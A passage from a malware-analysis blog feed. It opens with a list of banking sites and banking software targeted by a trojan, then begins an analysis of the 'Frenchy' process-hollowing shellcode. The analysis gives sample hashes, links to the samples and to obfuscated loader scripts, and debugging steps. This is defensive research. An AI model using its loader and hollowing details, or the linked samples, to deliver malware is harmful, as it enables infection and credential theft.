blockchain.info</p></li><li><p>/wallet/</p></li><li><p>cb.asb.by</p></li><li><p>bps-sberbank.by</p></li><li><p>dbo2.bveb.by</p></li><li><p>ibank.bsb.by</p></li><li><p>corporate.bgpb.by</p></li><li><p>ibank.alfa-bank.by</p></li><li><p>ibank.belinvestbank.by</p></li><li><p>ib2.ideabank.by</p></li><li><p>client.paritetbank.by</p></li><li><p>ibank.priorbank.by</p></li><li><p>client.mybank.by</p></li><li><p>online.stbank.by</p></li><li><p>client.belapb.by</p></li><li><p>Unk</p></li><li><p>SberBank_PC</p></li><li><p>BSS</p></li><li><p>BSS_PC</p></li><li><p>iBank2_PC</p></li><li><p>Faktura</p></li><li><p>PCB</p></li><li><p>InterPro</p></li><li><p>RosBank</p></li><li><p>SBBO</p></li><li><p>INIST</p></li><li><p>Inversion</p></li><li><p>Interbank</p></li><li><p>iBank2</p></li><li><p>BiCrypt</p></li><li><p>VTB24</p></li><li><p>1C</p></li><li><p>SGB</p></li><li><p>Raiffeisen</p></li><li><p>HandyBank</p></li><li><p>WU</p></li><li><p>SB_Fiz</p></li><li><p>CFT</p></li><li><p>WinPost</p></li><li><p>SBIS</p></li><li><p>ClBank</p></li><li><p>QiwiCashier</p></li><li><p>ISCC</p></li><li><p>WebMoney</p></li><li><p>xTC</p></li><li><p>iFOBS</p></li><li><p>TRANSAQ</p></li><li><p>OSMP</p></li><li><p>MinBank</p></li><li><p>SFT</p></li><li><p>MDM</p></li><li><p>ALBO</p></li><li><p>Alfa_Fiz</p></li><li><p>Avangard</p></li><li><p>Intercassa</p></li><li><p>Amikon</p></li><li><p>Vuzbank</p></li><li><p>UBRR</p></li><li><p>ModulBank</p></li><li><p>CentrInvest</p></li><li><p>MTSBank</p></li><li><p>MKB</p></li><li><p>EL_CLI</p></li><li><p>BSPB</p></li><li><p>IVTB</p></li><li><p>RSHB</p></li><li><p>Infocrypt</p></li><li><p>MMBank</p></li><li><p>BlockchainInfo</p></li><li><p>HBClient</p></li><li><p>ASB</p></li><li><p>BPS_SB</p></li><li><p>BVEB</p></li><li><p>BSB</p></li><li><p>BGPB</p></li><li><p>ALBO_BY</p></li><li><p>BelInvest</p></li><li><p>IdeaBank</p></li><li><p>Paritet</p></li><li><p>PriorBank</p></li><li><p>MyBank</p></li><li><p>StBank</p></li><li><p>BelAPB</p></li><li><p>scDBO</p></li><li><p>AvestCSP</p></li></ul><h3>3. Yara rules</h3><h3>4. List of encrypted strings</h3>]]></content:encoded></item><item><title><![CDATA[Analysis of the Frenchy Shellcode]]></title><description><![CDATA[In this post I analyze a shellcode that I have named "Frenchy shellcode" because of the mutex that it creates (depending on the version: frenchy_shellcode_01, frenchy_shellcode_002, frenchy_shellcode_003,...).]]></description><link>https://www.peppermalware.com/p/analysis-of-frenchy-shellcode</link><guid isPermaLink="false">https://www.peppermalware.com/p/analysis-of-frenchy-shellcode</guid><dc:creator><![CDATA[PepperMalware]]></dc:creator><pubDate>Tue, 30 Jul 2019 00:27:00 GMT</pubDate><enclosure url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiU6lLjUBpyrjFFZoeIxKR-doSnBA4wWFYr0V_71Ain3wwbzY3ZOwtLzlOZLtOcrce3EBUH5TM-etvV7jThJFPysLdpnFc9gfLK7joJfv3K-AVphLUgj2Qs096JBHirSal5hh6XKz0UCU/s400/load_original_api_pointers.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this post I analyze a shellcode that I have named "Frenchy shellcode" because of the mutex that it creates (depending on the version: frenchy_shellcode_01, frenchy_shellcode_002, frenchy_shellcode_003,...). This shellcode has been seen together with different packers and loading different malware families (agenttesla, avemaria stealer, formbook, netwire, etc...). Because of this, I decided to take a look at this shellcode and share my notes. Additionally I share a PoC, a python script that loads Frenchy shellcode and uses it to perform hollow processes and execute calc.exe in the context of notepad.exe.<br><br> <br></p><ul><li><p><strong>Original packed samples</strong></p><ul><li><p><strong>Frenchy shellcode v1 + autoit packer:&nbsp;</strong>0a1340bb124cd0d79fa19a09c821a049 (Avemaria)</p></li><li><p><strong>Frenchy shellcode v2 + autoit packer:</strong>&nbsp;d009bfed001586db95623e2896fb93aa&nbsp;</p></li><li><p><strong>Frenchy shellcode v2 + autoit packer:&nbsp;</strong>20de5694d7afa40cf8f0c88c86d22b1d (Formbook)</p></li><li><p><strong>Frenchy shellcode v3 + .Net packer:&nbsp;</strong>21c1d45977877018568e8073c3Acf7c5 (Netwire)</p></li></ul></li><li><p><strong>Extracted frenchy shellcodes:</strong></p><ul><li><p><strong>Frenchy shellcode v1 at&nbsp;</strong><a href="https://www.hybrid-analysis.com/sample/ba7e312ffc81f70a1ff7e1127af877cc098963cc89b3270b1fb86f50c4129c2f/">hybrid analysis</a></p></li><li><p><strong>Frenchy shellcode v2 at&nbsp;</strong><a href="https://www.hybrid-analysis.com/sample/21223f0e90f19c65bee2ab88ded6d72080d99e6a3c29853e8c61147c35cdf396/">hybrid analysis</a></p></li><li><p><strong>Frenchy shellcode v3 at&nbsp;</strong><a href="https://www.hybrid-analysis.com/sample/0c9da7a0e3d3b2a6345bf69a22f577855f476d645cb71cd8a18123787e75a75a/">hybrid analysis</a></p></li></ul></li><li><p><strong>Related links:</strong></p><ul><li><p><a href="https://tccontre.blogspot.com/2019/07/autoit-compiled-formbook-malware.html">https://tccontre.blogspot.com/2019/07/autoit-compiled-formbook-malware.html</a>&nbsp;(I recommend to read this post about the AutoIt script that loads frenchy shellcode).</p></li><li><p><a href="https://twitter.com/P3pperP0tts/status/1135976656751996928?s=20">https://twitter.com/P3pperP0tts/status/1135976656751996928?s=20</a></p></li><li><p><a href="https://twitter.com/JayTHL/status/1146482606185308160?s=20">https://twitter.com/JayTHL/status/1146482606185308160?s=20</a></p></li><li><p><a href="https://twitter.com/James_inthe_box/status/1148966237684133888?s=20">https://twitter.com/James_inthe_box/status/1148966237684133888?s=20</a></p></li><li><p><a href="https://cape.contextis.com/analysis/85189/">https://cape.contextis.com/analysis/85189/</a></p></li><li><p><a href="https://twitter.com/James_inthe_box/status/1146527056567472128?s=20">https://twitter.com/James_inthe_box/status/1146527056567472128?s=20</a></p></li></ul></li></ul><p><br> <br><br><br>Most of the samples that I have analyzed are packed with a AutoIt-based packer (however, recently I analyzed a v3 Frenchy shellcode whose packer is .Net)&nbsp;that decrypts and loads the shellcode (and then, the shellcode loads the next stage executable by using process hollowing method).<br><br> First sample where I found the Frenchy shellcode (v1, mutex: frenchy_shellcode_01) was Emotet and the packer was AutoIt-based, I recommend to read <a href="https://twitter.com/P3pperP0tts/status/1135976656751996928?s=20">this twitter thread</a>. Later, in <a href="https://twitter.com/JayTHL/status/1146482606185308160?s=20">this twitter thread</a>, <a href="https://twitter.com/JayTHL">@JayTHL</a>&nbsp;commented about an AveMaria Stealer, again packed with AutoIt-based packer that uses the shellcode (v2, mutex: frenchy_shellcode_002). <a href="https://twitter.com/James_inthe_box/status/1146527056567472128?s=20">An specific campaing of Agenttesla</a>&nbsp;looked to be using this packer too. In <a href="https://tccontre.blogspot.com/2019/07/autoit-compiled-formbook-malware.html">this great post</a>, the author (<a href="https://twitter.com/tccontre18">@tccontre18</a>)&nbsp;analyzed a variant of the obfuscated autoit script that loads the Frenchy shellcode (in this case, it loaded a Formbook Stealer). Searching for the string "frenchy_shellcode_003" I found another sample at <a href="https://cape.contextis.com/analysis/85189/">Cape Sandbox</a>&nbsp;using v3 shellcode (<a href="https://twitter.com/James_inthe_box">@james_in_the_box</a>&nbsp;identified it&nbsp;<a href="https://twitter.com/James_inthe_box/status/1148966237684133888?s=20">as netwire</a>), and in this case the packer is not AutoIt-based, but .Net-based.<br><br> It looks like this shellcode has been used for a time together with different packers, malware families and campaigns.<br></p><h2>Analysis</h2><ul><li><p>1. Packers</p><ul><li><p>1.1. AutoIt-based Packer</p></li><li><p>1.2. DotNet-based Packer</p></li></ul></li><li><p>2. Frenchy Shellcode</p><ul><li><p>2.1. Frenchy Shellcode V3</p><ul><li><p>2.1.1. Entrypoint and arguments</p></li><li><p>2.1.2. Duplicated system libraries</p></li><li><p>2.1.3. API usage</p></li><li><p>2.1.4. Process Hollowing</p></li></ul></li><li><p>2.2. Playing With Frenchy Shellcode</p></li></ul></li><li><p>3. Who is Frenchy?</p></li></ul><p><strong>1.1. Packers</strong><br><strong><br></strong> I am not going to dig too much into the packers that have been seen together with the Frenchy shellcode, only some notes about them.<br><br> <br></p><p><strong>1.1. AutoIt-based Packer</strong></p><p><strong><br></strong> This packer executes a very obfuscated autoit script that decrypts and loads the frenchy shellcode. Here is a couple of examples of these autoit scripts:<br><br> This one (recovered by&nbsp;<a href="https://twitter.com/DbgShell">@DbgShell</a>) loaded a frenchy_shellcode_01:&nbsp;<a href="https://pastebin.com/raw/xsUqCdRj">https://pastebin.com/raw/xsUqCdRj</a></p><p>This other one loaded a frenchy_shellcode_002:&nbsp;<a href="https://pastebin.com/raw/Knk2iJPF">https://pastebin.com/raw/Knk2iJPF</a><br><br> I recommend <a href="https://tccontre.blogspot.com/2019/07/autoit-compiled-formbook-malware.html">this post</a>&nbsp;about the AutoIt script that loads frenchy shellcode.<br><br> <br> <strong>1.2. DotNet-based Packer</strong><br><strong><br></strong> In the case of the sample&nbsp;21c1d45977877018568e8073c3Acf7c5 the packer is .Net. To check that the dotnet packer is loading the frenchy shellcode we set a bp at CreateMutexW and we wait for the creation of the frenchy_shellcode_03 mutex:<br><br> <br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh90wfml6vg2OF9StEOPbGrBM00UXcHQts5vgCRfMJv-skD8j-1j4TcfoMMNFdghuzvEK5d8znECm093p_a4BHoOB8yxWE_cD5xVprRlYMjeNBzxEadomQcQopEkhxIe07xiluAQk1QzwU/s400/creating_mutex.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh90wfml6vg2OF9StEOPbGrBM00UXcHQts5vgCRfMJv-skD8j-1j4TcfoMMNFdghuzvEK5d8znECm093p_a4BHoOB8yxWE_cD5xVprRlYMjeNBzxEadomQcQopEkhxIe07xiluAQk1QzwU/s400/creating_mutex.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh90wfml6vg2OF9StEOPbGrBM00UXcHQts5vgCRfMJv-skD8j-1j4TcfoMMNFdghuzvEK5d8znECm093p_a4BHoOB8yxWE_cD5xVprRlYMjeNBzxEadomQcQopEkhxIe07xiluAQk1QzwU/s400/creating_mutex.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh90wfml6vg2OF9StEOPbGrBM00UXcHQts5vgCRfMJv-skD8j-1j4TcfoMMNFdghuzvEK5d8znECm093p_a4BHoOB8yxWE_cD5xVprRlYMjeNBzxEadomQcQopEkhxIe07xiluAQk1QzwU/s400/creating_mutex.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh90wfml6vg2OF9StEOPbGrBM00UXcHQts5vgCRfMJv-skD8j-1j4TcfoMMNFdghuzvEK5d8znECm093p_a4BHoOB8yxWE_cD5xVprRlYMjeNBzxEadomQcQopEkhxIe07xiluAQk1QzwU/s400/creating_mutex.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh90wfml6vg2OF9StEOPbGrBM00UXcHQts5vgCRfMJv-skD8j-1j4TcfoMMNFdghuzvEK5d8znECm093p_a4BHoOB8yxWE_cD5xVprRlYMjeNBzxEadomQcQopEkhxIe07xiluAQk1QzwU/s400/creating_mutex.png" width="400" height="138" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh90wfml6vg2OF9StEOPbGrBM00UXcHQts5vgCRfMJv-skD8j-1j4TcfoMMNFdghuzvEK5d8znECm093p_a4BHoOB8yxWE_cD5xVprRlYMjeNBzxEadomQcQopEkhxIe07xiluAQk1QzwU/s400/creating_mutex.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:138,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh90wfml6vg2OF9StEOPbGrBM00UXcHQts5vgCRfMJv-skD8j-1j4TcfoMMNFdghuzvEK5d8znECm093p_a4BHoOB8yxWE_cD5xVprRlYMjeNBzxEadomQcQopEkhxIe07xiluAQk1QzwU/s400/creating_mutex.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh90wfml6vg2OF9StEOPbGrBM00UXcHQts5vgCRfMJv-skD8j-1j4TcfoMMNFdghuzvEK5d8znECm093p_a4BHoOB8yxWE_cD5xVprRlYMjeNBzxEadomQcQopEkhxIe07xiluAQk1QzwU/s400/creating_mutex.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh90wfml6vg2OF9StEOPbGrBM00UXcHQts5vgCRfMJv-skD8j-1j4TcfoMMNFdghuzvEK5d8znECm093p_a4BHoOB8yxWE_cD5xVprRlYMjeNBzxEadomQcQopEkhxIe07xiluAQk1QzwU/s400/creating_mutex.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh90wfml6vg2OF9StEOPbGrBM00UXcHQts5vgCRfMJv-skD8j-1j4TcfoMMNFdghuzvEK5d8znECm093p_a4BHoOB8yxWE_cD5xVprRlYMjeNBzxEadomQcQopEkhxIe07xiluAQk1QzwU/s400/creating_mutex.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br> Now we know the current thread is executing the Frenchy shellcode, so we display the call-stack to check the thread that calls the frenchy shellcode comes from .Net:<br><br> <br> <br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6-XSbvl8JNmfQG2diRrwsGWXuHNaBhHaRU_YpKthyaqvbiZD8-CqhKnEAhH0SeL3oHGcrCVjKsHak79MO56zT9vPsYjnvFYf383NhlYR88utz0RgUtnKBlJAf4_BTAEw1w-M82QSynsg/s400/frenchy_loaded_by_dotnet.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6-XSbvl8JNmfQG2diRrwsGWXuHNaBhHaRU_YpKthyaqvbiZD8-CqhKnEAhH0SeL3oHGcrCVjKsHak79MO56zT9vPsYjnvFYf383NhlYR88utz0RgUtnKBlJAf4_BTAEw1w-M82QSynsg/s400/frenchy_loaded_by_dotnet.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6-XSbvl8JNmfQG2diRrwsGWXuHNaBhHaRU_YpKthyaqvbiZD8-CqhKnEAhH0SeL3oHGcrCVjKsHak79MO56zT9vPsYjnvFYf383NhlYR88utz0RgUtnKBlJAf4_BTAEw1w-M82QSynsg/s400/frenchy_loaded_by_dotnet.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6-XSbvl8JNmfQG2diRrwsGWXuHNaBhHaRU_YpKthyaqvbiZD8-CqhKnEAhH0SeL3oHGcrCVjKsHak79MO56zT9vPsYjnvFYf383NhlYR88utz0RgUtnKBlJAf4_BTAEw1w-M82QSynsg/s400/frenchy_loaded_by_dotnet.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6-XSbvl8JNmfQG2diRrwsGWXuHNaBhHaRU_YpKthyaqvbiZD8-CqhKnEAhH0SeL3oHGcrCVjKsHak79MO56zT9vPsYjnvFYf383NhlYR88utz0RgUtnKBlJAf4_BTAEw1w-M82QSynsg/s400/frenchy_loaded_by_dotnet.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6-XSbvl8JNmfQG2diRrwsGWXuHNaBhHaRU_YpKthyaqvbiZD8-CqhKnEAhH0SeL3oHGcrCVjKsHak79MO56zT9vPsYjnvFYf383NhlYR88utz0RgUtnKBlJAf4_BTAEw1w-M82QSynsg/s400/frenchy_loaded_by_dotnet.png" width="400" height="294" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6-XSbvl8JNmfQG2diRrwsGWXuHNaBhHaRU_YpKthyaqvbiZD8-CqhKnEAhH0SeL3oHGcrCVjKsHak79MO56zT9vPsYjnvFYf383NhlYR88utz0RgUtnKBlJAf4_BTAEw1w-M82QSynsg/s400/frenchy_loaded_by_dotnet.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:294,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6-XSbvl8JNmfQG2diRrwsGWXuHNaBhHaRU_YpKthyaqvbiZD8-CqhKnEAhH0SeL3oHGcrCVjKsHak79MO56zT9vPsYjnvFYf383NhlYR88utz0RgUtnKBlJAf4_BTAEw1w-M82QSynsg/s400/frenchy_loaded_by_dotnet.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6-XSbvl8JNmfQG2diRrwsGWXuHNaBhHaRU_YpKthyaqvbiZD8-CqhKnEAhH0SeL3oHGcrCVjKsHak79MO56zT9vPsYjnvFYf383NhlYR88utz0RgUtnKBlJAf4_BTAEw1w-M82QSynsg/s400/frenchy_loaded_by_dotnet.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6-XSbvl8JNmfQG2diRrwsGWXuHNaBhHaRU_YpKthyaqvbiZD8-CqhKnEAhH0SeL3oHGcrCVjKsHak79MO56zT9vPsYjnvFYf383NhlYR88utz0RgUtnKBlJAf4_BTAEw1w-M82QSynsg/s400/frenchy_loaded_by_dotnet.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6-XSbvl8JNmfQG2diRrwsGWXuHNaBhHaRU_YpKthyaqvbiZD8-CqhKnEAhH0SeL3oHGcrCVjKsHak79MO56zT9vPsYjnvFYf383NhlYR88utz0RgUtnKBlJAf4_BTAEw1w-M82QSynsg/s400/frenchy_loaded_by_dotnet.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><strong>2. Frenchy Shellcode</strong></p><p><strong><br></strong> <strong>2.1. Frenchy Shellcode v3</strong><br><br> <br>I have focused the analysis on the v3 shellcode that I have gotten from the sample&nbsp;21c1d45977877018568e8073c3Acf7c5 (you can download it from <a href="https://www.hybrid-analysis.com/sample/0c9da7a0e3d3b2a6345bf69a22f577855f476d645cb71cd8a18123787e75a75a/">hybrid analysis</a>).<br><br>The main purpose of this shellcode is to inject a PE into a new process by using the hollow process method.<br></p><p><br> 2.1.1. Entrypoint and arguments<br><br> Shellcode's entrypoint is located at offset 0, where the shellcode jumps to the main function:<br><br> <br> <br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg24QzbyUf-i_VC_2WuH1v-S02P-BmmT3SSV7GUnHCzm2KHxq1D0dBiwzCCthp4K2ML1omOMMOGfSRGkLZpuLrTXeQB7X94n0QQ6mopCNtWkpWRctAqi2zuR_msLyHvhKWjUrvT_z1MxEo/s400/shellcode_entrypoint.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg24QzbyUf-i_VC_2WuH1v-S02P-BmmT3SSV7GUnHCzm2KHxq1D0dBiwzCCthp4K2ML1omOMMOGfSRGkLZpuLrTXeQB7X94n0QQ6mopCNtWkpWRctAqi2zuR_msLyHvhKWjUrvT_z1MxEo/s400/shellcode_entrypoint.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg24QzbyUf-i_VC_2WuH1v-S02P-BmmT3SSV7GUnHCzm2KHxq1D0dBiwzCCthp4K2ML1omOMMOGfSRGkLZpuLrTXeQB7X94n0QQ6mopCNtWkpWRctAqi2zuR_msLyHvhKWjUrvT_z1MxEo/s400/shellcode_entrypoint.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg24QzbyUf-i_VC_2WuH1v-S02P-BmmT3SSV7GUnHCzm2KHxq1D0dBiwzCCthp4K2ML1omOMMOGfSRGkLZpuLrTXeQB7X94n0QQ6mopCNtWkpWRctAqi2zuR_msLyHvhKWjUrvT_z1MxEo/s400/shellcode_entrypoint.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg24QzbyUf-i_VC_2WuH1v-S02P-BmmT3SSV7GUnHCzm2KHxq1D0dBiwzCCthp4K2ML1omOMMOGfSRGkLZpuLrTXeQB7X94n0QQ6mopCNtWkpWRctAqi2zuR_msLyHvhKWjUrvT_z1MxEo/s400/shellcode_entrypoint.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg24QzbyUf-i_VC_2WuH1v-S02P-BmmT3SSV7GUnHCzm2KHxq1D0dBiwzCCthp4K2ML1omOMMOGfSRGkLZpuLrTXeQB7X94n0QQ6mopCNtWkpWRctAqi2zuR_msLyHvhKWjUrvT_z1MxEo/s400/shellcode_entrypoint.png" width="400" height="159" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg24QzbyUf-i_VC_2WuH1v-S02P-BmmT3SSV7GUnHCzm2KHxq1D0dBiwzCCthp4K2ML1omOMMOGfSRGkLZpuLrTXeQB7X94n0QQ6mopCNtWkpWRctAqi2zuR_msLyHvhKWjUrvT_z1MxEo/s400/shellcode_entrypoint.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:159,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg24QzbyUf-i_VC_2WuH1v-S02P-BmmT3SSV7GUnHCzm2KHxq1D0dBiwzCCthp4K2ML1omOMMOGfSRGkLZpuLrTXeQB7X94n0QQ6mopCNtWkpWRctAqi2zuR_msLyHvhKWjUrvT_z1MxEo/s400/shellcode_entrypoint.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg24QzbyUf-i_VC_2WuH1v-S02P-BmmT3SSV7GUnHCzm2KHxq1D0dBiwzCCthp4K2ML1omOMMOGfSRGkLZpuLrTXeQB7X94n0QQ6mopCNtWkpWRctAqi2zuR_msLyHvhKWjUrvT_z1MxEo/s400/shellcode_entrypoint.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg24QzbyUf-i_VC_2WuH1v-S02P-BmmT3SSV7GUnHCzm2KHxq1D0dBiwzCCthp4K2ML1omOMMOGfSRGkLZpuLrTXeQB7X94n0QQ6mopCNtWkpWRctAqi2zuR_msLyHvhKWjUrvT_z1MxEo/s400/shellcode_entrypoint.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg24QzbyUf-i_VC_2WuH1v-S02P-BmmT3SSV7GUnHCzm2KHxq1D0dBiwzCCthp4K2ML1omOMMOGfSRGkLZpuLrTXeQB7X94n0QQ6mopCNtWkpWRctAqi2zuR_msLyHvhKWjUrvT_z1MxEo/s400/shellcode_entrypoint.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br> <br><br>The shellcode receives as first argument the path of the executable that is going to be launched (suspended) to perform hollow process. Second argument is the content (PE) to be injected.<br><br> <br> 2.1.2. Duplicated system libraries<br><br> The shellcode loads copies foreach system library that it is going to use:<br><br> <br> <br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8zuKJ_uNIizzEzU8WKsa5lJzVRNX7-DUjagqPhuaxfH75nURJdgN7pFC8fhXcYHuWHf8v1MFrLHRZC5Ui_ecBSUtocaIL1s3Q1hB_R01IqqHXnGfc9oGImawNfndRASq7TbuBqiuNwf8/s400/loaddlls_mapsection.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8zuKJ_uNIizzEzU8WKsa5lJzVRNX7-DUjagqPhuaxfH75nURJdgN7pFC8fhXcYHuWHf8v1MFrLHRZC5Ui_ecBSUtocaIL1s3Q1hB_R01IqqHXnGfc9oGImawNfndRASq7TbuBqiuNwf8/s400/loaddlls_mapsection.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8zuKJ_uNIizzEzU8WKsa5lJzVRNX7-DUjagqPhuaxfH75nURJdgN7pFC8fhXcYHuWHf8v1MFrLHRZC5Ui_ecBSUtocaIL1s3Q1hB_R01IqqHXnGfc9oGImawNfndRASq7TbuBqiuNwf8/s400/loaddlls_mapsection.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8zuKJ_uNIizzEzU8WKsa5lJzVRNX7-DUjagqPhuaxfH75nURJdgN7pFC8fhXcYHuWHf8v1MFrLHRZC5Ui_ecBSUtocaIL1s3Q1hB_R01IqqHXnGfc9oGImawNfndRASq7TbuBqiuNwf8/s400/loaddlls_mapsection.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8zuKJ_uNIizzEzU8WKsa5lJzVRNX7-DUjagqPhuaxfH75nURJdgN7pFC8fhXcYHuWHf8v1MFrLHRZC5Ui_ecBSUtocaIL1s3Q1hB_R01IqqHXnGfc9oGImawNfndRASq7TbuBqiuNwf8/s400/loaddlls_mapsection.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8zuKJ_uNIizzEzU8WKsa5lJzVRNX7-DUjagqPhuaxfH75nURJdgN7pFC8fhXcYHuWHf8v1MFrLHRZC5Ui_ecBSUtocaIL1s3Q1hB_R01IqqHXnGfc9oGImawNfndRASq7TbuBqiuNwf8/s400/loaddlls_mapsection.png" width="400" height="250" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8zuKJ_uNIizzEzU8WKsa5lJzVRNX7-DUjagqPhuaxfH75nURJdgN7pFC8fhXcYHuWHf8v1MFrLHRZC5Ui_ecBSUtocaIL1s3Q1hB_R01IqqHXnGfc9oGImawNfndRASq7TbuBqiuNwf8/s400/loaddlls_mapsection.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:250,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" 